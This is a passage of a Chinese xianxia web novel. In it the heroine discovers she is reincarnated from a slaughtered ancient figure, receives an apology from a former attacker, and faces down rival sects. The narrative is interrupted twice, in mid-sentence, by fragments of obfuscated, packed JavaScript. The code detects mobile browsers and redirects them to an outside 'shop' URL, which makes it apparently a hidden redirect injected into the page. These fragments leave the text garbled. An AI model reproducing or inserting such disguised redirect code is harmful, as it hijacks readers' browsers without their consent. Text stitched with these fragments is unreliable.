但她分明感觉到—— 它动了一下。 不是位置动,是气息动。 像是认出了什么。 凌砚收回视线,继续往前走。 石室另一边,有三条通道。 左边一条,右边一条,中间一条。 三条通道都是黑的,看不清里面有什么。 温寻蹲下来看了看。 “左边这条,有脚印,很多脚印。” “右边这条,也有脚印。” “中间这条——” 他伸手摸了摸地面。 “没有脚印。” 凌砚看着中间那条通道。 黑的,深的,什么都没有。 “走中间。” 温寻站起来。 “小师妹,你确定?” “确定。” “为什么?” 凌砚想了想。 “因为那口鼎。” 她回头看了一眼。 “它在盯着这条通道。” 五人走进中间通道。 身后的光渐渐暗了。 前面什么也看不见。 但没人害怕。 走了不知道多久,前面终于出现了一点光。 光很弱,但确实是光。 五人加快脚步。 通道尽头,又是一个石室。 这个石室比刚才那个小很多,只有几十平米。 里面只有一样东西—— 一张石桌。 桌上放着一块玉简。 玉简旁边,放着一滴血。 金色的血。 和裴元手里那滴一模一样。 凌砚看着那滴血。 心里那个东西又动了。 这次动得更厉害。 像是有什么在呼唤她。 “小师妹?”沈清和握住她的手。 凌砚回过神。 “我没事。” 她往前走。 谢无妄拦了一下。 凌砚摇头。 “让我去看看。” 谢无妄看着她。 两秒后,让开了。 凌砚走到石桌前。 低头看那块玉简。 玉简上刻着几个字: “后来者启” 她伸手拿起玉简。 刚碰到,玉简就亮了。 一道声音在脑海中响起: “你终于来了。” 凌砚皱眉。 “你是谁?” “我是你。” “……” “不对,我是三万年前的你。” 凌砚沉默了两秒。 “说明白点。” 那声音笑了。 笑声有点苦涩。 “你还是这个脾气。” 顿了顿。 “你想知道你是谁吗?” 凌砚没回答。 那声音继续说: “你是万法归宗体,上古第一体质,可以模拟任何灵根、融合任何血脉、修炼任何功法。” “这个我知道。”凌砚说,“说点我不知道的。” “你知道为什么这种体质会被灭吗?” 凌砚没说话。 “因为太逆天。” “逆天就该死?” “不是该死,是有人怕。”那声音说,“有人怕你成长起来,怕你掌控一切,所以在你还没成长起来的时候,就动手了。” 凌砚皱眉。 “谁?” 那声音沉默了一会儿。 “你自己看吧。” 玉简里涌入大量的信息—— 画面,声音,记忆。 凌砚看到一片战场。 天上地下,全是人。 有仙人,有魔头,有妖族,有上古遗族。 所有人都在围攻一个人。 一个女人。 那个女人站在战场中央,浑身是血,但还在笑。 笑得比任何人都猖狂。 凌砚盯着那张脸。 那张脸—— 和她一模一样。 画面一转。 女人倒在血泊里。 旁边站着一个人,低头看着她。 那人穿着白衣,面容模糊,看不清是谁。 但声音传出来: “你不该存在的。” 女人笑了。 “三万年后,我还会回来的。” 那人沉默。 “我会等你。” 画面结束。 凌砚睁开眼睛。 沈清和正紧张地看着她。 “小师妹,你没事吧?” 凌砚摇头。 “没事。” 她低头看手里的玉简。 玉简已经碎了。 变成一堆粉末,从指缝里漏下去。 桌上那滴血还在。 金色的,静静的。 凌砚看着那滴血。 然后伸出手。 “小师妹——”沈清和想拦。 但凌砚已经碰到了。 血触到指尖的瞬间,直接渗了进去。 没有痛。 只有一股暖流,从指尖涌入全身。 然后—— 她看到了更多。 三万年的记忆。 三万年的等待。 三万年的—— 仇恨。 凌砚站在原地,闭着眼睛,一动不动。 过了很久。 她睁开眼。 眼神变了。 不是变陌生,是变深了。 像是一夜之间,多了三万年的东西。 “小师妹?”温寻小心翼翼地喊。 凌砚转头看他。 “三师兄。” “诶。” “我好像……知道我是谁了。” 温寻愣了一下。 “是谁?” 凌砚想了想。 “一个死了三万年,又活过来的人。” 她低头看自己的手。 手还是那双手,但好像不一样了。 “那个人说得对。”她轻声说,“我不该存在的。” 谢无妄走过来。 “谁说你不该存在?” 凌砚抬头看她。 谢无妄面无表情。 “让他来跟我说。” 凌砚愣了一下。 然后笑了。 “大师姐,你这话——” “认真的。”谢无妄打断她,“不管你是谁,不管你三万年前是什么,现在你是无妄宗的人,是我师妹。谁敢动你,先过我。” 凌砚看着她。 看了很久。 然后点头。 “好。” 沈清和走过来,轻轻抱住她。 “小师妹,不管发生什么,我们都在。” 凌砚靠在她肩上。 没说话。 但眼眶有点红。 温寻在旁边摇扇子,摇了几下,忽然收起。 “小师妹,接下来怎么办?那个裴元——” 凌砚从他怀里起来。 “他在外面等我。” “去见他?” “见。” “为什么?” 凌砚想了想。 “因为他知道三万年前发生了什么。” 她看向通道外面。 “而且——他手里有我那滴血。” 五人离开石室。 走过通道,绕过那口鼎,爬上三千多级台阶。 推开石门。 外面站着一个人。 裴元。 他还是那副样子,白衣,负手而立,笑得温柔。 “想清楚了?” 凌砚看着他。 “三万年前,围攻我的人里,有没有你?” 裴元愣了一下。 然后笑了。 “有。” 凌砚眼神一冷。 “那你等了我三万年,是为了什么?” 裴元看着她。 目光复杂。 “为了——” 他顿了顿。 “道歉。” 凌砚以为自己听错了。 “什么?” 裴元苦笑。 “我知道你不信。但我等了三万年,就是为了当面跟你说一声——对不起。” 凌砚沉默。 裴元继续说: “当年围攻你,是因为有人逼我。不动手,我全族都得死。” “所以你选择了动手。” “对。” “然后呢?” “然后我后悔了三万年。” 裴元看着她,眼神里有真真切切的痛苦。 “你不在了之后,我才知道真相。才知道你根本没想毁灭世界,才知道那些人只是怕你成长起来,才知道——” 他深吸一口气。 “才知道自己亲手杀了一个不该杀的人。” 凌砚没说话。 裴元继续说: “所以我等了三万年。等你转世,等你回来,等亲口跟你说——” 他跪下。 “对不起。” 凌砚低头看他。 堂堂凌霄阁炼器峰首座,大乘期高手,跪在她面前。 一动不动。 旁边的温寻凑过来。 “小师妹,他好像是真的后悔。” 凌砚没理他。 她看着裴元。 “那滴血,哪来的?” “你当年留下的。” “为什么留?” “因为你知道自己会死,所以留了一滴血,等着转世。” 裴元抬头看她。 “你知道自己会死,但还是去了战场。” “为什么?” 凌砚想了想。 “不知道。” 她确实不知道。 那些记忆只到战场,没说她为什么去。 裴元沉默了一会儿。 然后说: “因为你师父。” 凌砚眼神一凝。 “我师父?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323565|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对。”裴元站起来,“你当年有一个师父,是上古龙族之主。那些人围攻你,不只是因为你的体质,还因为你师父手里的东西。” “什么东西?” “不知道。”裴元摇头,“但你师父临死前,把那个东西给了你。然后你带着那个东西,去了战场。” 凌砚沉默。 上古龙族之主。 她忽然想起掌门。 那个天天躺着晒太阳的懒人。 那个看她第一眼,眼神就不一样的人。 “我师父……叫什么?裴元摇头。 “不知道。只知道他是龙族,很厉害,厉害到整个仙界都怕他。” 他顿了顿。 “但后来他消失了。有人说他死了,有人说他隐世了。” 凌砚沉默了很久。 然后问: “那个东西,在哪?” 裴元看着她。 “你不知道?” “不知道。” 裴元沉默。 然后说: “那可能还没觉醒。” “什么意思?” “那个东西,在你体内。”裴元说,“但需要特定的条件才能觉醒。当年你师父设了禁制,只有你真正成长起来,才能解开。” 凌砚低头看自己的手。 体内有个东西? 她什么都没感觉到。 “什么条件?” 裴元摇头。 “不知道。这得问你师父。” 凌砚沉默。 过了很久。 她抬起头。 “裴元。” “在。” “你的道歉,我收到了。” 裴元眼睛一亮。 “但原不原谅你——”凌砚顿了顿,“等我查清楚再说。” 裴元苦笑。 “应该的。” 他站起来,看着凌砚。 “那你接下来打算怎么办?” 凌砚想了想。 “先回宗门。” 她看向远方。 “有人等我回去吃饭。” --- 三天后。 无妄秘境。 凌砚推开宗门大门,往里走。 院子里,墨渊躺在石头上晒太阳。 听到脚步声,他睁开一只眼。 “回来了?” 凌砚点头。 “回来了。” 墨渊看了看她。 然后笑了。 “看来知道了不少。” 凌砚走到他旁边,坐下。 “掌门。” “嗯?” “你是我师父吗?” 墨渊沉默了两秒。 然后说: “谁告诉你的?” “裴元。” 墨渊挑眉。 “那个小子还活着?” 凌砚看着他。 墨渊叹了口气。 “行吧,瞒不住了。” 他坐起来,看着凌砚。 “对,我是你师父。三万年前的师父。” 凌砚看着他。 墨渊也看着她。 两人对视了很久。 然后凌砚问: “那个东西,在我体内?” 墨渊点头。 “对。” “是什么?” 墨渊想了想。 “现在还不能说。” “为什么?” “因为说出来,你会死。” 凌砚皱眉。 墨渊看着她,难得认真起来。 “那个东西,是整个仙界都想要的东西。谁得到它,谁就能掌控一切。你现在太弱,保护不了它。所以不能说。” 凌砚沉默。 墨渊伸手,揉了揉她的头发。 “别急。该知道的时候,自然会知道。” 凌砚看着他。 “那我要多久才能知道?” 墨渊想了想。 “等你打得过我的时候。” 凌砚:“……” 墨渊笑了。 “开玩笑的。等你大乘期,就能知道一部分。” 凌砚默默记下。 大乘期。 她现在筑基。 还差得远。 但她有的是时间。 她站起来。 “我去吃饭了。” 墨渊点点头,又躺回去。 “去吧,你四师姐做了好吃的。” 凌砚往饭堂走。 走了几步,忽然回头。 “掌门。” “嗯?” “谢谢。” 墨渊没睁眼。 但嘴角翘了一下。 凌砚笑了,转身走了。 饭堂里,四个人正在等她。 谢无妄坐在角落,剑放在旁边。 苏折在捣鼓一个新法器。 温寻摇着扇子,笑得一脸狐狸相。 沈清和端着一碗汤走过来。 “小师妹,趁热喝。” 凌砚接过,喝了一口。 烫的,但很暖。 她看着这四个人。 忽然觉得,三万年也没那么久。 反正—— 有他们在。 --- 当天晚上。 凌砚躺在床上,看着天花板。 脑子里翻来覆去都是那些画面。 战场,血,那个和自己长得一模一样的女人。 还有那句: “三万年后,我还会回来的。” 她摸了摸胸口。 那颗鲛人泪还是温的。 “我真的回来了。”她轻声说。 没人回答。 但窗外传来一阵风声。 像是有人在说—— 欢迎回来。 凌砚笑了笑,闭上眼睛。 睡着了。 --- 第二天一早。 凌砚被一阵喧哗吵醒。 推门出去,院子里站着一个人。 裴元。 他手里拿着一堆东西,堆得像座小山。 看到凌砚出来,他笑了笑。 “给你带了点见面礼。” 凌砚低头看。 法器、丹药、灵石、材料—— 全是好东西。 她抬头看裴元。 “什么意思?” “赔罪。”裴元说,“三万年的赔罪,一时半会儿赔不完,先付点利息。” 凌砚沉默了两秒。 然后问: “你打算住这儿?” 裴元摇头。 “不住。但会常来。” 他顿了顿,认真地看着凌砚。 “我知道你不原谅我。没关系,我等得起。反正已经等了三年年,再等三万年也无所谓。” 凌砚看着他。 过了很久。 然后说: “进来吃饭吧。” 裴元愣了一下。 “什么?” “四师姐做的早饭,多你一双筷子。” 裴元站在原地,一动不动。 眼眶有点红。 温寻走过来,拍拍他肩膀。 “愣着干嘛?走啊。四师妹的早饭,一般人吃不到的。” 裴元回过神。 “哦、哦。” 他跟进去。 饭桌上,七个人围坐在一起。 墨渊也在。 他看了一眼裴元,懒洋洋开口: “当年的事,我记着呢。” 裴元一僵。 “但既然小师妹让你进来,就先放你一马。” 裴元松了口气。 “谢谢掌门。” 墨渊摆摆手。 “别谢我,谢小师妹。” 裴元看向凌砚。 凌砚正低头喝汤,感受到他的视线,抬头看他。 “看我干嘛?吃饭。” 裴元笑了。 低头吃饭。 饭堂里,热气腾腾。 窗外,阳光正好。 无妄宗的一天,又开始了。 6. 找上门的麻烦 裴元在无妄宗待了三天。 三天里,他干了三件事: 第一,把带来的那堆“见面礼”整整齐齐摆进凌砚的房间,分门别类,贴上标签,注明用途。 第二,主动找苏折探讨炼器心得,被苏折无视了两次之后,终于用一份上古器纹图谱换来了半个时辰的交流时间。 第三,每天早起帮沈清和浇药田,一边浇一边被灵汐长老盯着看——那种笑里藏刀的眼神,看得他一个大乘期高手后背发凉。 第三天傍晚,凌砚在院子里晒太阳。 裴元走过来,在她旁边站定。 “我该走了。” 凌砚睁开眼看他。 “这么快?” “不快了。”裴元苦笑,“凌霄阁那边已经连发七道传讯,催我回去。” 凌砚想了想。 “回去会有麻烦吗?” 裴元沉默了两秒。 “有一点。” “多大?” “大概……”裴元斟酌了一下,“需要写几份检讨,扣几年俸禄,再被骂几个月那种。” 凌砚挑眉。 “就这?” “就这。”裴元点头,“我是炼器峰首座,不是他们能随便动的。最多就是面子上过不去。” 凌砚看着他。 “那你为什么还要回去?” 裴元愣了一下。 然后笑了。 “因为有些事,得当面说清楚。” 他看着远方,眼神有点深。 “凌霄阁里,有人在等你的消息。” 凌砚眼神一凝。 “谁?” “不知道。”裴元摇头,“但能逼我三万年前动手的那个人,应该还在。” 凌砚沉默。 裴元继续说: “这次回去,我会帮你查。查到什么,派人告诉你。” 他顿了顿,看着凌砚。 “虽然你不一定需要。你们宗门……比我想的深。” 凌砚挑眉。 “怎么说?” 裴元苦笑。 “你那个掌门,我看不透。你那个长老,我不敢看。你那些师兄师姐,一个比一个怪。” 他看着凌砚。 “这样的宗门,整个修仙界都找不出第二个。” 凌砚笑了。 “那是。” 裴元看着她,忽然认真起来。 “凌砚。” “嗯?” “不管发生什么,我都会站在你这边。” 凌砚愣了一下。 裴元继续说: “不是因为道歉,是因为——” 他想了想。 “因为你是我等了三万年的人。” 凌砚沉默了两秒。 然后说: “这话容易让人误会。” 裴元一愣,然后笑出声。 “不是那种等!是、是——” 他有点急,脸都红了。 凌砚看着他,忽然笑了。 “我知道。” 她站起来,拍拍衣服。 “行了,走吧。再不走天黑了。” 裴元看着她。 然后点点头。 “好。” 他转身往外走。 走了几步,忽然回头。 “对了,有个事忘了说。” “什么?” “你们来西域的时候,是不是在荒古城被人盯上了?” 凌砚点头。 “对。” “那些人的来历,我查到了。”裴元说,“不是凌霄阁的人。” 凌砚皱眉。 “那是谁?” 裴元看着她。 “正道三宗,联合派的。” 凌砚眼神一冷。 “正道三宗?” “对。”裴元点头,“青云宗、凌霄阁、丹霞门——但不是全部人,只是其中的一部分势力。他们联合起来,在查你的下落。” 凌砚沉默。 裴元继续说: “具体是谁在牵头,还没查出来。但你小心点。” 凌砚点头。 “知道了。” 裴元看着她,忽然笑了。 “不过我觉得,该小心的不是你们。” 他转身。 “走了。” 身影消失在门外。 凌砚站在原地,想了很久。 正道三宗。 联合查她。 为什么? 就因为她可能是万法归宗体? 还是因为—— 她忽然想起掌门说的那句话: “那个东西,是整个仙界都想要的东西。” 她摸了摸胸口。 那里什么也没有。 但总觉得,有什么东西在跳动。 --- 晚饭的时候,凌砚把裴元的话说了。 温寻放下筷子。 “正道三宗联合查你?” 凌砚点头。 温寻想了想。 “这不正常。” “怎么说?” “正道三宗平时互相看不顺眼,青云宗瞧不起凌霄阁的商人做派,凌霄阁看不上丹霞门的暴发户气质,丹霞门又觉得前两家都是伪君子。”温寻摇着扇子,“能让这三家联合起来,只有一种可能。” 谢无妄接话: “上面有人压着。” 温寻点头。 “对。而且那个人,地位很高。” 凌砚皱眉。 “多高?” “至少是——”温寻指了指天上,“那个层面的人。” 凌砚明白了。 仙界。 有人在盯着她。 从三万年前就盯着。 到现在还没放弃。 沈清和轻轻握住她的手。 “小师妹,别怕。” 凌砚摇头。 “不怕。” 她是真不怕。 穿越那天,被人追着骂废物的时候都没怕过。 现在有宗门撑腰,更不会怕。 她只是想知道—— 那个人,到底是谁? 墨渊懒洋洋开口: “想知道是谁?” 凌砚抬头看他。 墨渊躺在椅子上,眯着眼睛。 “等你打得过我的时候,我告诉你。” 凌砚:“……” 温寻憋笑。 苏折面无表情继续吃饭。 谢无妄嘴角动了动。 沈清和温柔地给凌砚夹了一筷子菜。 “小师妹,吃饭。” 凌砚低头吃饭。 心里默默记了一笔。 等打得过掌门那天,第一件事就是问清楚。 第二件事—— 让他天天晒太阳。 --- 第二天一早。 凌砚被一阵巨响吵醒。 不是炸雷。 是有人砸门。 她推门出去,看到温寻站在院子里,脸色古怪。 “怎么了?” 温寻指了指山门方向。 “有人来了。” “谁?” “正道三宗的人。”温寻顿了顿,“一百多个。” 凌砚挑眉。 “来干嘛?” “说是——”温寻的表情更古怪了,“来讨说法。” 凌砚愣了一下。 “讨什么说法?” “不知道。”温寻摇头,“但领头的是青云宗的一个长老,大乘初期,气势很足。” 凌砚想了想。 “掌门呢?” “还在睡。” “长老呢?” “在浇花。” 凌砚沉默了两秒。 然后说: “那就让他们等着。” 她转身往回走。 “我先吃早饭。” 温寻笑了。 “行,我去传话。” --- 山门外。 一百多个修士站成几排,气势汹汹。 领头的是个灰袍老者,面容威严,眼神凌厉。 大乘初期。 他身后跟着三个化神,十几个元婴,剩下的全是金丹。 这阵容,放在修真界任何地方,都能横着走。 灰袍老者看着紧闭的山门,脸色越来越难看。 “无妄宗的人呢?” 旁边一个化神期弟子凑过来。 “长老,刚才有个人出来说——” “说什么?” “说让咱们等着。” “等什么?” “等他们小师妹吃完早饭。” 灰袍老者以为自己听错了。 “什么?” 那弟子艰难地重复了一遍: “等他们小师妹……吃完早饭。” 灰袍老者脸色铁青。 “好!好一个无妄宗!我青云宗长老亲自登门,他们让老夫等一个小丫头吃完早饭?” 他一挥手。 “给我喊门!喊到他们出来为止!” 一百多个修士齐声高喊: “无妄宗!出来!” “无妄宗!出来!” 喊了十几遍。 山门还是关着。 灰袍老者脸色越来越黑。 他深吸一口气,准备亲自出手—— 门开了。 五个人走出来。 走在最前面的是个年轻姑娘,表情淡定,一边走一边用帕子擦嘴。 身后跟着四个人: 一个冷着脸的黑衣女子。 一个满眼血丝、手里还拿着个法器的青年。 一个笑眯眯摇扇子的狐狸眼男人。 一个温柔安静的白衣女子。 灰袍老者看着这五个人,眉头皱起来。 一个凡人,一个化神,一个元婴,两个看不透。 他盯着那个凡人。 “你就是无妄宗的小师妹?” 凌砚点头。 “是我。” 灰袍老者眯起眼睛。 “你知不知道,你惹了多大的祸?” 凌砚想了想。 “不知道。你说说看。” 灰袍老者冷哼一声。 “你在西域打伤赤炎宗弟子,抢夺遗迹机缘,还逼迫凌霄阁裴元首座为你所用——这些,够不够?” 凌砚听完,转头看温寻。 “三师兄,我打伤赤炎宗弟子了?” 温寻摇头。 “没有。是他们先动手的。” “我抢他们机缘了?” “没有。遗迹是大家一起进的,各凭本事。” “我逼迫裴元了?” 温寻笑了。 “这个最离谱。裴元自己跪着求原谅,全城都看到了。” 凌砚点点头,转回头看着灰袍老者。 “你都听到了?” 灰袍老者脸色一变。 “胡说!明明是你们——” 凌砚打断他。 “等一下。” 她往前走了一步。 “我问你一个问题。” 灰袍老者皱眉。 “什么问题?” 凌砚看着他。 “你今天来,是代表青云宗,还是代表你自己?” 灰袍老者愣了一下。 “当然是代表青云宗!” 凌砚点头。 “好。那第二个问题——” 她指了指身后。 “你知道我们宗门,有多少人吗?” 灰袍老者皱眉。 “七个。” “对,七个。”凌砚点头,“那你知道,这七个人,都是什么修为吗?” 灰袍老者沉默了。 他确实不知道。 只听说无妄宗人少,低调,不爱惹事。 但具体什么修为—— “我告诉你。”凌砚说。 她指了指自己。 “我,筑基。” 又指谢无妄。 “她,化神。” 指苏折。 “他,元婴。” 指温寻。 “他,元婴。” 指沈清和。 “她,元婴。” 然后看着灰袍老者。 “还有两个,一个在睡觉,一个在浇花。什么修为——你自己猜。” 灰袍老者脸色变了。 他忽然意识到一个问题。 一个只有七个人的小宗门,凭什么能在修真界存活? 凭什么敢这么硬气? 凭什么让他一个大乘期长老,站在门口等一个小丫头吃完早饭? 只有一个解释—— 那两个人,修为在他之上。 他背后忽然冒出冷汗。 凌砚看着他变来变去的脸色,笑了笑。 “想明白了?” 灰袍老者咬牙。 “你——你们到底是什么人?” 凌砚想了想。 “无妄宗的人。” “就这?” “就这。”凌砚点头,“我们就是一个小宗门,人少,钱多,不爱惹事。” 她顿了顿。 “但也不怕事。” 灰袍老者脸色铁青。 他身后的一百多个人,面面相觑。 现在怎么办? 打? 打不过。 退? 面子往哪搁? 凌砚看着他们纠结的样子,忽然开口: “这样吧,我给你个台阶下。” 灰袍老者抬头看她。 凌砚说: “你今天来,是被人当枪使的。那个人是谁,我不知道。但你回去告诉他——” 她笑了笑。 “想查我,自己来。别派这些小喽啰送死。” 灰袍老者脸色涨红。 “你——” “我说错了吗?”凌砚看着他,“你一个青云宗长老,大乘期高手,亲自来为难一个小丫头——传出去,你脸上有光?” 灰袍老者沉默了。 凌砚继续说: “而且你心里清楚,我说的那些事,全是假的。你只是需要一个借口来找麻烦。” 她看着灰袍老者。 “但找麻烦,得看对象。” 灰袍老者深吸一口气。 “你就不怕我动手?” 凌砚笑了。 “你可以试试。” 她侧身,让开视线。 身后,山门里,一道身影慢悠悠走出来。 墨渊打着哈欠,揉着眼睛,一副刚睡醒的样子。 他走到凌砚旁边,看了一眼灰袍老者。 就一眼。 灰袍老者忽然倒退一步。 脸色煞白。 “你、你是——” 墨渊懒洋洋开口: “吵什么吵,觉都睡不好。” 他看着灰袍老者。 “有事?” 灰袍老者张了张嘴,说不出话。 墨渊等了两秒。 “没事就滚。” 灰袍老者转身就走。 走得很快。 一百多个人跟着跑。 眨眼间,山门外空了。 温寻看得目瞪口呆。 “掌门,你干什么了?” 墨渊又打了个哈欠。 “没干什么,就看了他一眼。” “然后呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323566|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “然后他就跑了。” 温寻:“……” 凌砚看着墨渊。 墨渊也看着她。 “看什么?” 凌砚认真地说: “掌门,你刚才那个眼神,我也想学。” 墨渊愣了一下。 然后笑了。 “等你大乘期再说。” 他转身往里走。 “回去补觉。” 凌砚看着他的背影。 忽然问: “掌门,那个人是谁派来的?” 墨渊脚步不停。 “一个你暂时惹不起的人。” “那我什么时候能惹得起?” 墨渊想了想。 “等你打得过我的时候。” 凌砚:“……” 又是这句。 她默默记了一笔。 等打得过掌门那天,一定要好好算账。 --- 当天晚上。 凌砚在房间里,看着天花板发呆。 脑子里翻来覆去都是白天的事。 那个灰袍老者,大乘期,青云宗长老。 被掌门看了一眼,就跑了。 掌门到底是什么修为? 她想起裴元说的“上古龙族之主”。 三万年前的师父。 那时候就是仙界都怕的人物。 现在呢? 她正想着,忽然感觉到什么。 从床上坐起来。 房间里多了一个人。 灵汐长老站在窗前,笑盈盈看着她。 “小丫头,睡不着?” 凌砚点头。 灵汐走到她床边,坐下。 “想什么呢?” 凌砚想了想。 “想掌门。” 灵汐挑眉。 “想他干什么?” “想他到底是什么人。”凌砚说,“还有三万年前的事。” 灵汐看着她。 “你想知道?” 凌砚点头。 灵汐沉默了一会儿。 然后说: “那我告诉你一部分。” 她顿了顿。 “你师父,三万年前是龙族太子,也是上古天庭的最后一任主人。” 凌砚眼睛睁大。 “上古天庭?” “对。”灵汐点头,“那时候,修仙界和仙界是一体的。天庭管着三界,你师父就是天庭之主。” 凌砚愣住。 掌门是天庭之主? 那个天天躺着晒太阳的懒人? 灵汐继续说: “后来出了事。有人背叛,有人围攻,天庭崩塌。你师父带着残部隐世,就是现在的无妄宗。” 她看着凌砚。 “你是他唯一的徒弟,也是他亲手埋下的种子。” 凌砚沉默。 灵汐轻轻拍了拍她的手。 “他知道你会回来,所以一直等着。等了整整三万年。” 凌砚低头,看着自己的手。 三万年前的事,她只有零碎的记忆。 战场,血,那个和自己长得一模一样的女人。 还有那滴金色的血。 但她不记得师父。 不记得他们之间发生过什么。 “我……”她张了张嘴,“我想不起来。” 灵汐笑了。 “想不起来正常。你那时候还小。” 凌砚抬头看她。 “我小?” “对。”灵汐点头,“你被收徒的时候,才三百多岁。在龙族眼里,就是个孩子。” 凌砚:“……” 三百多岁,孩子。 好吧。 灵汐站起来。 “早点睡。明天还有事。” 凌砚问:“什么事?” 灵汐笑得意味深长。 “你三师兄查到了一些东西,明天会告诉你。” 她走到门口,忽然回头。 “对了,小丫头。” “嗯?” “不管你想不想得起来,你都是无妄宗的人。”她笑了笑,“这一点,永远不会变。” 门关上。 凌砚躺在床上,看着天花板。 过了很久。 她笑了。 “三万年就三万年吧。” 她闭上眼睛。 “反正——有他们在。” --- 第二天一早。 凌砚刚醒,温寻就推门进来。 “小师妹!查到了!” 凌砚坐起来。 “查到什么?” 温寻把一张纸条递给她。 “查到你三万年前的事了。” 凌砚接过,低头看。 看完之后,沉默了。 温寻看着她。 “小师妹?” 凌砚抬起头。 表情很复杂。 “三师兄。” “嗯?” “我三万年前——” 她顿了顿。 “是个疯子?” 温寻愣了一下,然后笑了。 “对,疯得很出名那种。” 凌砚低头看纸条。 上面写着: 凌砚(三万年前) 称号:疯批小祖宗 战绩: 一人单挑整个仙界联军,杀了三天三夜,最后拉了三万人陪葬 口头禅:来啊,一起死啊 性格:能动手绝不废话,能拼命绝不认输 最出名的事迹: 临死前对着仙界的人说—— “老娘三万年后还回来,你们等着。” 凌砚看完,沉默了很久。 然后问: “这个……是真的?” 温寻点头。 “真的。我让人查了三天,翻了几百份古籍,全对得上。” 凌砚又看了一遍那张纸条。 疯批小祖宗。 一人单挑仙界联军。 杀了三天三夜。 拉了三万人陪葬。 最后还说“老娘三万年后还回来”。 她忽然有点理解,为什么那些人这么怕她。 这确实挺吓人的。 温寻看着她。 “小师妹,什么感觉?” 凌砚想了想。 “有点爽。” 温寻一愣,然后笑出声。 “就这?” “不然呢?”凌砚把纸条还给他,“反正那是我,又不是我。” 温寻挑眉。 “怎么说?” 凌砚站起来,开始穿衣服。 “三万年前的事,我记得不清。那些仇恨,那些恩怨,对我来说都是别人的故事。” 她系好腰带。 “但有一点是真的。” 她看着温寻。 “我确实回来了。” 温寻看着她。 凌砚笑了笑。 “既然回来了,那就好好活。谁想让我死——” 她顿了顿。 “我就让他先死。” 温寻愣了一下。 然后笑了。 “行,这才是我们无妄宗的人。” 两人走出去。 院子里,谢无妄正在练剑。 苏折在角落里捣鼓法器。 沈清和在摆早饭。 阳光洒下来,暖洋洋的。 凌砚看着他们。 忽然想起那张纸条上的最后一句话—— “老娘三万年后还回来,你们等着。” 她笑了。 等就等吧。 反正—— 她不是一个人回来的。 7. 疯起来自己都怕 凌砚发现一个问题。 自从知道自己三万年前是个疯子之后,宗门里的人看她的眼神都不太一样了。 具体表现在: 谢无妄练剑的时候,会时不时往她这边瞟一眼,那眼神像是在确认她有没有突然发疯。 苏折给她做的新法器,比之前那个多了三层防护——据说是为了防止她突然暴起伤人。 温寻每次跟她说话,都会先往后退半步,然后笑眯眯问:“小师妹今天心情怎么样?” 连沈清和都开始给她炖安神的汤。 凌砚忍了三天。 第四天早上,她终于忍不住了。 “你们能不能正常点?” 四个人齐刷刷看着她。 温寻试探着问:“小师妹,你现在是正常状态还是——” “我现在想打人。” 温寻立刻后退一步:“那就是正常状态。” 凌砚:“……” 她深吸一口气。 “我没疯。三万年前的事我不记得,记得的那些也不影响我现在是个正常人。” 谢无妄看着她。 “真的?” “真的。” 谢无妄沉默了两秒。 然后点点头。 “行。” 她继续练剑去了。 苏折低头捣鼓法器。 温寻摇着扇子笑。 沈清和给她盛汤。 凌砚以为这事就这么过去了。 直到中午。 温寻忽然冲进来。 “小师妹!出事了!” 凌砚放下筷子。 “什么事?” 温寻脸色古怪。 “外面来了个人,说是——你三万年前的仇人。” 凌砚愣了一下。 “来找我报仇?” “对。” “什么修为?” “化神后期。” 凌砚沉默了两秒。 然后问: “他来之前没打听打听我现在什么修为?” 温寻也沉默了。 然后说: “可能……没打听清楚?” 凌砚站起来。 “走,去看看。” --- 山门外站着一个男人。 灰袍,长发,面容阴鸷,周身缭绕着化神后期的威压。 他看到凌砚出来,眼睛一亮。 “凌砚!真的是你!” 凌砚看着他。 “你谁?” 男人脸色一变。 “你不记得我了?” 凌砚想了想。 “不记得。” 男人咬牙。 “三万年前,你杀了我全家!” 凌砚挑眉。 “我杀的?” “对!” “为什么杀?” 男人愣了一下。 “因为、因为你当时发疯——” 凌砚打断他。 “所以我发疯的时候,你全家正好在我面前?” 男人脸色涨红。 “你、你什么意思?” 凌砚往前走了一步。 “我的意思是——我疯的时候,专杀该杀的人。” 她看着男人。 “你全家做了什么,自己心里没数?” 男人脸色变了。 凌砚继续说: “三万年前的事,我记不全。但有一点我清楚——我从不滥杀无辜。” 她笑了笑。 “所以你今天来,要么是记错了,要么是——” 她顿了顿。 “你全家确实该死。” 男人脸都绿了。 “你放屁!我爹娘都是好人!” “好人会被我杀?” “那是因为你疯了!” 凌砚点头。 “行,就算我疯了。那我问你——” 她盯着男人。 “我疯的时候,你全家为什么在我面前?” 男人张了张嘴。 凌砚替他回答: “因为他们也在围攻我。” 男人脸色惨白。 凌砚笑了。 “想起来了?” 男人咬牙。 “那、那也是你逼的!你要是不那么强,谁会围攻你?” 凌砚听完,转头看温寻。 “三师兄,你听到了吗?” 温寻点头。 “听到了。” “这人是不是有病?” “是挺有病的。” 男人大怒。 “你们——” 凌砚转回头看他。 “我给你两个选择。” 男人一愣。 “第一,现在滚,我当没看见你。” “第二——” 她笑了笑。 “你动手,我让我大师姐打死你。” 谢无妄配合地往前走了一步。 男人看着谢无妄,脸色变了又变。 化神后期对化神后期。 但那个女人的气息——比他强太多了。 他咬牙。 “你、你给我等着!” 转身就跑。 跑得比来的时候快多了。 凌砚看着他的背影。 “就这?” 温寻摇着扇子笑。 